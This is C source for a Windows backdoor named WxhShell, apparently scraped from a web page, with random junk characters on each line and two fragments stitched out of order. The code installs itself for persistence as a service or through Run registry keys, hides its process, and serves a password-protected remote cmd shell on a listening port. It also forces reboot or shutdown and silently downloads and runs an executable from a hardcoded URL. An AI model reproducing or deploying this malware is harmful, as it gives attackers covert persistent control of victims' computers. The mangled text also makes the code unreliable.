    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (oxMBd+n1  
    if(Boot(SHUTDOWN)) |lG7/\A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y(fJ{k   
    else { Ds<~JfVl  
    closesocket(wsh); /n3Qcht  
    ExitThread(0); ^D5+ S`V  
    } 2 b80b50  
    break; YQ>O6:%  
    } Gc_KS'K@$  
  // 获取shell +E']&v$  
  case 's': { E(_lm&,4+  
    CmdShell(wsh); `$MO;Fv,G  
    closesocket(wsh); Pa'N)s<  
    ExitThread(0); L;=3n[^x  
    break; u s8.nL/  
  } = \M6s  
  // 退出 Y,?kS dS  
  case 'x': { E.,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Te`MIR  
    CloseIt(wsh); 32Wa{LG;2  
    break; kZ=2# .  
    } |-TxX:O-  
  // 离开 C@g/{?\  
  case 'q': { JkQ\r$ Y.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4|UtE<<b  
    closesocket(wsh); h!`KX2~  
    WSACleanup(); %{jL+4veoL  
    exit(1); fg/hUUl  
    break; a1EQ.u  
        } y Z)-=H  
  } r::0\{{r"p  
  } )d>Dcne  
K1w:JA6(  
  // 提示信息 </b_Rar  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [<sN "  
} wScr:o+K>L  
  } kG5Uc8 3#G  
4?]s%2U6  
  return; iu$Y0.H@  
} )x35  
8tO.o\)h  
// shell模块句柄 C=bQ2t=Z  
int CmdShell(SOCKET sock) 1@9M[_<n5  
{ v3(0Mu0J  
STARTUPINFO si; 4y!GFhMh  
ZeroMemory(&si,sizeof(si)); FD[4?\W]#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cqT%6Si  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .*Bd'\:F/q  
PROCESS_INFORMATION ProcessInfo; DQ&\k'"\  
char cmdline[]="cmd"; !3{. V\P)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y~w1_>b  
  return 0; Kw2]J)TO  
} t>x!CNb'C  
8"A0@fNz  
// 自身启动模式 yZ]?-7  
int StartFromService(void) wL}X~Xa3i  
{ m}]QP\  
typedef struct $M~`)UeV_  
{ _Fe=:q  
  DWORD ExitStatus; y'n<oSB}  
  DWORD PebBaseAddress; Kjpsz];  
  DWORD AffinityMask; foB&H;A4oC  
  DWORD BasePriority; L0w2qF  
  ULONG UniqueProcessId; Sy<io@df  
  ULONG InheritedFromUniqueProcessId; @Y<fj^]k  
}   PROCESS_BASIC_INFORMATION; d,Oe3?][0p  
=h|7bYLy  
PROCNTQSIP NtQueryInformationProcess; ggpa !R  
jo<Gf 5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eLbh1L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ad52a3deR  
yo$A0Ti!w  
  HANDLE             hProcess; !1@o Z(  
  PROCESS_BASIC_INFORMATION pbi; /<dl"PWkJv  
ymT]ow6C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b,'rz04^  
  if(NULL == hInst ) return 0; ;yCtk ~T%  
}WF6w+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [4@@b"H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $$*0bRfd4=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3$BO=hI/-  
!!m GsgnW  
  if (!NtQueryInformationProcess) return 0; ,mKUCG  
u'gsIuRJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?,C'\8'  
  if(!hProcess) return 0; pW>.3pj  
l1%*LyD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5bsv05=e  
p%/lP{  
  CloseHandle(hProcess); IVeA[qA0  
g91xUG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nov An+  
if(hProcess==NULL) return 0; Fl"LK:)  
C\|HN=2eh  
HMODULE hMod; nE :Wl  
char procName[255]; f9'dZ}B  
unsigned long cbNeeded; v[a4d&P  
cCIs~*D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n:Dr< q .  
maV*+!\  
  CloseHandle(hProcess); 5z" X>!?^  
`[x'EJp#  
if(strstr(procName,"services")) return 1; // 以服务启动 Hq,N OP  
Kn2W{*wD  
  return 0; // 注册表启动 tcI Z 2H%  
} 1W9uWkk_d  
|voZ0U  
// 主模块 "<"s&ws;k  
int StartWxhshell(LPSTR lpCmdLine) C4|79UG>s  
{ R]o2_r7N"}  
  SOCKET wsl; ={{q_G\WD  
BOOL val=TRUE; cWI7];/d;  
  int port=0; ,rhNXx  
  struct sockaddr_in door; mH'om SCz  
s]xn&rd_  
  if(wscfg.ws_autoins) Install(); %y)LBSxf  
BIT<J5>  
port=atoi(lpCmdLine); \r &(l1R  
GEki34 n0  
if(port<=0) port=wscfg.ws_port; jYW-}2L  
kB-<17  
  WSADATA data; quFNPdP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q*/jQC  
"}uV=y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AQ,%5MeqJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `L.nj6F  
  door.sin_family = AF_INET; 85+w\KuEY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oq 95zo  
  door.sin_port = htons(port); nB%[\LtZ?  
AHLXmQl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .L_ Hk  
closesocket(wsl); ~8[`(/hj  
return 1; *(nu0  
} <@qJsRbhK  
tj tN<y  
  if(listen(wsl,2) == INVALID_SOCKET) { T?D]]x  
closesocket(wsl); /tqe:*  
return 1; p%e/>N.P  
} (KT+7j0^  
  Wxhshell(wsl); Kp/l2?J"  
  WSACleanup(); -M`+hVs?  
F=$U.K~1?  
return 0; kJ B u7  
u:\DqdlU`  
} iMp_1EXe  
\B8[UZA.&  
// 以NT服务方式启动 xc$jG?83#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rF . Oo0  
{ FdMTc(>  
DWORD   status = 0; c nV2}U/\  
  DWORD   specificError = 0xfffffff; _MUSXB'  
i7xBi:Si  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hu-6V="^9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FJ O- p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; );V.le}%(  
  serviceStatus.dwWin32ExitCode     = 0; qjLFgsd  
  serviceStatus.dwServiceSpecificExitCode = 0; ?rgtbiSW-  
  serviceStatus.dwCheckPoint       = 0; \v([,tiW%  
  serviceStatus.dwWaitHint       = 0; f15n ~d  
p}-B>v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y/G~P,9  
  if (hServiceStatusHandle==0) return; F2mW<REg{  
~*ll,<L:  
status = GetLastError(); R"[U<^  
  if (status!=NO_ERROR) %ZJ;>a#  
{ lNqF@eCT9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RL1cx|  
    serviceStatus.dwCheckPoint       = 0;  :O{ ZZ  
    serviceStatus.dwWaitHint       = 0; xtRHb''FX  
    serviceStatus.dwWin32ExitCode     = status; ,c[f/sT\  
    serviceStatus.dwServiceSpecificExitCode = specificError; EnXTL]=0S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); " IC0v9  
    return; T &kr IZw  
  } ]jwF[D  
f#zm}+,`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x<[W9Z'~?9  
  serviceStatus.dwCheckPoint       = 0; #N `Z)}Jm  
  serviceStatus.dwWaitHint       = 0; y4N=v{EbL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zX ?@[OT  
} MbjMO"}  
($Ck5`_MK  
// 处理NT服务事件,比如:启动、停止 2$gOe^ &  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uY Y{M`  
{ p>GxSE)  
switch(fdwControl) t5jZ8&M5]  
{ UqsX@jL!  
case SERVICE_CONTROL_STOP: W&8)yog.  
  serviceStatus.dwWin32ExitCode = 0; <GRrw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1<d|@9?9`  
  serviceStatus.dwCheckPoint   = 0; k\wI^D  
  serviceStatus.dwWaitHint     = 0; C.oC@P  
  { IJV1=/ NJW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8.4+4Vxh   
  } OMVK\_oXo  
  return; \dw*yZ^  
case SERVICE_CONTROL_PAUSE: nA>kJSL'$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tgB\;nbB  
  break; {%Q &CQG_  
case SERVICE_CONTROL_CONTINUE: c @~j}(A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !/Wp0E'A  
  break; |] 8Hh>  
case SERVICE_CONTROL_INTERROGATE: Pf?y!d K<  
  break; Km9Y_`?  
}; QvN=<V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pv #uLo  
} O4i5 fVy{  
`cBV+00YS  
// 标准应用程序主函数 uNSbAw3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wa*/Am9;~  
{ 1hn4YcHb  
}^ np  
// 获取操作系统版本 =Vm"2g,aA  
OsIsNt=GetOsVer(); E Z}c8b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ni$S@0  
-$js5 Gx1  
  // 从命令行安装 8Vb.%f &I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7jL3mI;n%;  
P:gN"f6  
  // 下载执行文件  8~>5k  
if(wscfg.ws_downexe) { [spJ%AhV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QXcSDJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); tgPx!5U  
} 5}uH;E)4  
6.!Cm$l  
if(!OsIsNt) { =E?!!EIq.  
// 如果时win9x,隐藏进程并且设置为注册表启动 8 ;C_@  
HideProc(); <[e E5X(  
StartWxhshell(lpCmdLine); 8> -3G  
} A1A/OU<Vb  
else P~5[.6gW  
  if(StartFromService()) cJnAwIs_e`  
  // 以服务方式启动 UtebSQ+h\  
  StartServiceCtrlDispatcher(DispatchTable); t)*MLg<C  
else Rt[zZv  
  // 普通方式启动 .%(Q*ioDh  
  StartWxhshell(lpCmdLine); :q xd])-  
u&!QP4$"z  
return 0; EN =oA P  
} .1[[Y}  
\[Dxg`;4  
zdoJ+zRtK  
0?tn.<'B8T  
=========================================== vy t$  
-Tw96 dv  
/"Bm1  
Aqwjs 3  
S-^RZ"  
%YI Xk1  
" UUf-G0/P  
2&f] v`|M|  
#include <stdio.h> UKBVCAK  
#include <string.h> Jv|uI1V  
#include <windows.h> TfD]`v`]   
#include <winsock2.h> $rAHtr  
#include <winsvc.h> |]d A`e&y  
#include <urlmon.h> \M H\!  
1kG{z;9  
#pragma comment (lib, "Ws2_32.lib") _k0 X)N+li  
#pragma comment (lib, "urlmon.lib") FJ|6R(T_  
qH3|x08  
#define MAX_USER   100 // 最大客户端连接数 SIBNU3;DL  
#define BUF_SOCK   200 // sock buffer x*G-?Xza)  
#define KEY_BUFF   255 // 输入 buffer L8&$o2+07r  
(8(7:aE $  
#define REBOOT     0   // 重启 Rn (vG-xQ  
#define SHUTDOWN   1   // 关机 *?zyF@K{%  
|a(%a43fC  
#define DEF_PORT   5000 // 监听端口 E|(T(4;  
u7_IO  
#define REG_LEN     16   // 注册表键长度 na;U]IK  
#define SVC_LEN     80   // NT服务名长度 s~@4  
g:l5,j.K  
// 从dll定义API F__j]}?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3fS+,>s\O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dE<}X7J%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h|=<I)}z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }9&Z#1/  
He#5d!cf:M  
// wxhshell配置信息 :x36^{7  
struct WSCFG { 5B&#Sh`r  
  int ws_port;         // 监听端口 ,t`u3ykh  
  char ws_passstr[REG_LEN]; // 口令 >vDa`|g  
  int ws_autoins;       // 安装标记, 1=yes 0=no t% -"h|  
  char ws_regname[REG_LEN]; // 注册表键名 wABaNB=9;  
  char ws_svcname[REG_LEN]; // 服务名 _Eus<c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~uF%*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w4m -DR5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &n_aMZ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0y>]6 8D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :[;]6;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ck71N3~W  
::k>V\;  
}; Q&zEa0^rG6  
>zYO1.~  
// default Wxhshell configuration AqPE.mf  
struct WSCFG wscfg={DEF_PORT, qb^jcy  
    "xuhuanlingzhe", zG\g{cB  
    1, 5Ocd2T'  
    "Wxhshell", Pm2T!0  
    "Wxhshell", 'z'q)vcr  
            "WxhShell Service", WD wW`  
    "Wrsky Windows CmdShell Service", OQ[E-%v1 R  
    "Please Input Your Password: ", XS$5TNI  
  1, 9}~WwmC|x  
  "http://www.wrsky.com/wxhshell.exe", `t0?PpUo  
  "Wxhshell.exe" G#V}9l8 Q  
    }; aBo8?VV]8  
X bF;  
// 消息定义模块 <SiD m-=E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2h<{~;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5hNjJqu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JsNqijVC  
char *msg_ws_ext="\n\rExit."; aE[>^~Lv}  
char *msg_ws_end="\n\rQuit."; PQl a-  
char *msg_ws_boot="\n\rReboot..."; rgQ6/3}qc  
char *msg_ws_poff="\n\rShutdown..."; :}r^sD  
char *msg_ws_down="\n\rSave to "; B;SN}I  
;aZ$qgN*Y  
char *msg_ws_err="\n\rErr!"; f1c Q*#2~  
char *msg_ws_ok="\n\rOK!"; ]ne&`uO  
%GRD3S  
char ExeFile[MAX_PATH]; E,6(/`0H*  
int nUser = 0; r 5!ie!5gE  
HANDLE handles[MAX_USER]; Kjbz\~  
int OsIsNt; 8&15k A  
^i3~i?\,P  
SERVICE_STATUS       serviceStatus; X~/hv_@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &^ECQ  
yNY *Fl!  
// 函数声明 4"$K66yk@  
int Install(void); (p1y/"Xh  
int Uninstall(void); x+j5vzhG)  
int DownloadFile(char *sURL, SOCKET wsh); |_&Tu#er3  
int Boot(int flag); f_`gUMf  
void HideProc(void); Fs^d-I  
int GetOsVer(void); P;%4Imq3  
int Wxhshell(SOCKET wsl); =^. f)  
void TalkWithClient(void *cs); !FhK<#  
int CmdShell(SOCKET sock); 0qXkWGB  
int StartFromService(void); yZf+*j/a7  
int StartWxhshell(LPSTR lpCmdLine); fH_G;#q  
AXBv']Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O.7Q* ^_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f =H,BQ  
qaBjV6loy  
// 数据结构和表定义 =Qt08,.bW  
SERVICE_TABLE_ENTRY DispatchTable[] = Ndj9B|s_  
{ zV)Ob0M7U  
{wscfg.ws_svcname, NTServiceMain}, WNkAI9B  
{NULL, NULL} vkmTd4g  
}; *uYnu|UQH  
H-%)r&"vn  
// 自我安装 {p -b,J9~a  
int Install(void) $M\[^g(q  
{ &(!Sy?tNe  
  char svExeFile[MAX_PATH]; cnAwoTt4  
  HKEY key; yb BLBJb  
  strcpy(svExeFile,ExeFile); csTX',c  
Zf<M14iM  
// 如果是win9x系统,修改注册表设为自启动 1nh2()QI[  
if(!OsIsNt) { V}732?Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9F~U% >GX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nV I\Or[  
  RegCloseKey(key); x1)G!i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 41%B%K*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B 95}_q  
  RegCloseKey(key); &_ er_V~  
  return 0; i][7S mN  
    } 84[T!cDk  
  } 'tK5s>gv<  
} _%Ay\4H^\  
else { gx&BzODPd0  
>LxYP7M  
// 如果是NT以上系统,安装为系统服务 2BOe,giy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TRG(W^<F  
if (schSCManager!=0) H`4H(KWm  
{ =LJc8@<:f  
  SC_HANDLE schService = CreateService }fw;{&s{z  
  ( G.K3'^_  
  schSCManager, -X(%K6{  
  wscfg.ws_svcname, y wlN4=  
  wscfg.ws_svcdisp, FKflN  
  SERVICE_ALL_ACCESS, WAiEINQ^)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UD [S>{  
  SERVICE_AUTO_START, 0 3L"W^gc  
  SERVICE_ERROR_NORMAL, XJnDx 09h  
  svExeFile, a#W:SgE?Y  
  NULL, *&B1(&{:V  
  NULL, =tl[?6  
  NULL, We3*WsX\  
  NULL, vTYI ez`g  
  NULL z^9Yoqog  
  ); W?{:HV  
  if (schService!=0) Xg.'<.!g0  
  { }gL9G  
  CloseServiceHandle(schService); HGmgQ>q@M$  
  CloseServiceHandle(schSCManager); NtMK+y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PPT"?lt*&  
  strcat(svExeFile,wscfg.ws_svcname); {e[S?1t=l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,LZ6Wu$P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9BB<. p  
  RegCloseKey(key); xI'<4lo7Z  
  return 0; m` cw:  
    } |E!()j=  
  } yyh L]Uq"=  
  CloseServiceHandle(schSCManager); G5Y5_r6Gu  
}  Q^/5hA  
} ]9)pFL  
"!XeK|Wi  
return 1; Pgg6(O9}B^  
} WZ5[tZf  
(,Yb]/O*  
// 自我卸载 ?GU/Rf!H#  
int Uninstall(void) > ZkcL7t9  
{ 0"o<( 1  
  HKEY key; n1o/-UY  
0.O pgv2K  
if(!OsIsNt) { }uWJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uOc>~ITPS  
  RegDeleteValue(key,wscfg.ws_regname); ,Ihuo5>/z  
  RegCloseKey(key); JU:!lyd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Rr!I:[ $  
  RegDeleteValue(key,wscfg.ws_regname); wKum{X8  
  RegCloseKey(key); :ORCsl6-  
  return 0; ]R}#3(]1  
  } 7Upm  
} MLY19;e  
} ~X5yHf3  
else { .=rv,PWjZ  
~w Dmt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1O45M/5\o  
if (schSCManager!=0) Nv*x^y]  
{ 3XY$w&f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PqPLy  
  if (schService!=0) \l{*1lQ`  
  { p\:_E+lsU  
  if(DeleteService(schService)!=0) { FFbMG:>:  
  CloseServiceHandle(schService); J[YA1  
  CloseServiceHandle(schSCManager); _@;2h`q ?  
  return 0; lZ0+:DaP2  
  } p]`pUw{  
  CloseServiceHandle(schService); s6Bt)8A  
  } /`\-.S9  
  CloseServiceHandle(schSCManager); !W^2?pqN  
} b-]E -$Uz  
} uByF*}d1  
@ 5 kKMz  
return 1; |C'w] QYm  
} PZNo.0M70  
rZu_"bcJ  
// 从指定url下载文件 tt[P{mMQ  
int DownloadFile(char *sURL, SOCKET wsh) z:u`W#Rf  
{ =d~]*[8  
  HRESULT hr; ZyCAl9{p  
char seps[]= "/"; *Vfas|3hZI  
char *token; ?MKf=! w  
char *file; }S*6+4  
char myURL[MAX_PATH]; lx$Y-Tb^F  
char myFILE[MAX_PATH]; Q)#<T]~=  
bQXxb(^  
strcpy(myURL,sURL); (N;Jw^C@  
  token=strtok(myURL,seps); 8S]Mf*~S'  
  while(token!=NULL) MFW?m,It)  
  { 7;CeQx/W)W  
    file=token; WU<#_by g  
  token=strtok(NULL,seps); C| Mh<,~ E  
  } NnHwk)'  
T d;e\s/]  
GetCurrentDirectory(MAX_PATH,myFILE); $)n{}8^  
strcat(myFILE, "\\"); ^]U2Jd  
strcat(myFILE, file); |o!<@/iH=  
  send(wsh,myFILE,strlen(myFILE),0); <(f4#B P  
send(wsh,"...",3,0); _'I9rGlx3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IC}zgvcW  
  if(hr==S_OK) .z[+sy_  
return 0; WZm^:,  
else }rO4b>J  
return 1; dtF6IdAf  
,7j`5iq[m  
} `/HygC6  
OW-+23)sj  
// 系统电源模块 Ev^Xs6 }"  
int Boot(int flag) l w%fY{  
{ kBONP^xI  
  HANDLE hToken; 'R'>`?Nh  
  TOKEN_PRIVILEGES tkp;  >#q|Pjv]  
7Ru0>4B  
  if(OsIsNt) { s]I],>}RU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >)N#n`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <!+o8z]  
    tkp.PrivilegeCount = 1; VtKN{sSnu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O Z#?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VKs\b-1  
if(flag==REBOOT) { %]R#}amW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VLO>{"{'  
  return 0; mi-\PD>X  
} <]9MgfAe  
else { {c J6Lq&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MO D4O4z&  
  return 0; n-=\n6"P  
} D~y]d  
  } JxvwquI  
  else { 2tbqmWw/s  
if(flag==REBOOT) { ?UxY4m%R;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1]<!Xuk^f  
  return 0; gON6jnDO  
} ry T8*}o  
else { Wp]EaYt2D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )s8r(.W  
  return 0; w %zw+E  
} [D,:=p`  
} MvW>ktkU  
q1gf9` 0  
return 1; ~3%3{a a  
} nZT@d;]U9  
C:K\-P9  
// win9x进程隐藏模块  #.><A8J  
void HideProc(void) bPOx~ CMh  
{ f@{C3E dd  
ep?0@5D}]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y; w]u_  
  if ( hKernel != NULL ) >ob/@  
  { 3/AUV%+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zb 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l#"alU!<^  
    FreeLibrary(hKernel); gctaarB&  
  } hG@ys5  
f+920/>!Z  
return; ]Rye AJ3  
} 1+jYpYEQW  
HFr3(gNj@  
// 获取操作系统版本  (2li:1j  
int GetOsVer(void) Oe YLL4H  
{ vo$66A  
  OSVERSIONINFO winfo; mig3.is  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3~Ln:4[6ID  
  GetVersionEx(&winfo); s]c$]&IGG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CiuN26>  
  return 1; DKl7|zG4  
  else 3\+p1f4  
  return 0; gcxk 'd  
} "o 3"1s>d{  
qfu2}qUX~%  
// 客户端句柄模块 e_], O_ Z  
int Wxhshell(SOCKET wsl) E<uOk  
{ Y2-bU 7mo  
  SOCKET wsh; 3(+#^aw  
  struct sockaddr_in client; K]8wW;N4  
  DWORD myID; MuGg z>CV[  
ef&@aB  
  while(nUser<MAX_USER) ap^=CEf   
{ "PaGDhS  
  int nSize=sizeof(client); ^4pKsO3ul  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |"qB2.[  
  if(wsh==INVALID_SOCKET) return 1; n-3j$x1Ne  
Ki/5xK=s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^ ~qs-.?  
if(handles[nUser]==0) V1)P=?%(US  
  closesocket(wsh); K9Xd? ]a  
else Pki4wDCTW  
  nUser++; WG !t!1p  
  } %D(prA_w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (V.,~t@  
G*i#\   
  return 0; Q5nyD/k4c  
} yM:~{;HLF  
DhNo +"!z  
// 关闭 socket v\(m"|4(i  
void CloseIt(SOCKET wsh) 9C}aX}`  
{ A}bHfn|  
closesocket(wsh); @:+n6  
nUser--; t"/"Ge#a  
ExitThread(0); <hZ}34?]i2  
} H! r Kz  
KHecc/,,S  
// 客户端请求句柄 CKt|c!3 7  
void TalkWithClient(void *cs) *C@[5#CA2z  
{ * \o$-6<  
=j+oKGkoCa  
  SOCKET wsh=(SOCKET)cs; &1E~ \8U  
  char pwd[SVC_LEN]; {IPn\Bka  
  char cmd[KEY_BUFF]; j(6$7+2qN  
char chr[1]; 5m.KtnT)  
int i,j; f:[d]J|  
)xvx6?Ah|  
  while (nUser < MAX_USER) { X!rQ@F3  
~26s7S}  
if(wscfg.ws_passstr) { vN,}aV2nq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {8#N7(%z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x1:Pj  
  //ZeroMemory(pwd,KEY_BUFF); B2G5h baA  
      i=0; K\KO5A  
  while(i<SVC_LEN) { 3W-NS~y  
2&gVZz  
  // 设置超时 Sz|Y$,  
  fd_set FdRead; =WmBpUh  
  struct timeval TimeOut; o7Cnyy#:  
  FD_ZERO(&FdRead); yxCM l.  
  FD_SET(wsh,&FdRead); "6E1W,|{  
  TimeOut.tv_sec=8; g\qL}:  
  TimeOut.tv_usec=0; ^3WIl ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A&|Wvb=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V5yxQb  
?Rt 1CDu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ti{H(;;@  
  pwd=chr[0]; u+z .J4w  
  if(chr[0]==0xd || chr[0]==0xa) { -B*<Q[_  
  pwd=0; JA?,0S  
  break; e7XsyL'|p  
  } }_a +X  
  i++; vJTfo#C|  
    } B:3+',i1  
QN5yBa!Wz  
  // 如果是非法用户,关闭 socket 5W[3_P+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FXOT+9bg  
} bmj8WZ  
aCU7w5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]RH=s7L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^MW\t4pZ  
bK03 S Vx  
while(1) { <qbZG}u  
CB*`  
  ZeroMemory(cmd,KEY_BUFF); #<a_: m)@  
gdoJ4b  
      // 自动支持客户端 telnet标准   N,j>;x3xT  
  j=0; v>#Cg \  
  while(j<KEY_BUFF) { v87$NQvwQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S|K |rDr0n  
  cmd[j]=chr[0]; ,}9f(`  
  if(chr[0]==0xa || chr[0]==0xd) { fKL'/?LD]  
  cmd[j]=0; T&9`?QD  
  break; >DDQ'W!  
  } -W|*fKN`3  
  j++; V/aQ*V{  
    } )^t!|*1LA  
<A#5v\{.;~  
  // 下载文件 YHs?QsP  
  if(strstr(cmd,"http://")) { (bg}an  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !2GHJHxv]c  
  if(DownloadFile(cmd,wsh)) wn &$C0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<-%L1kc 1  
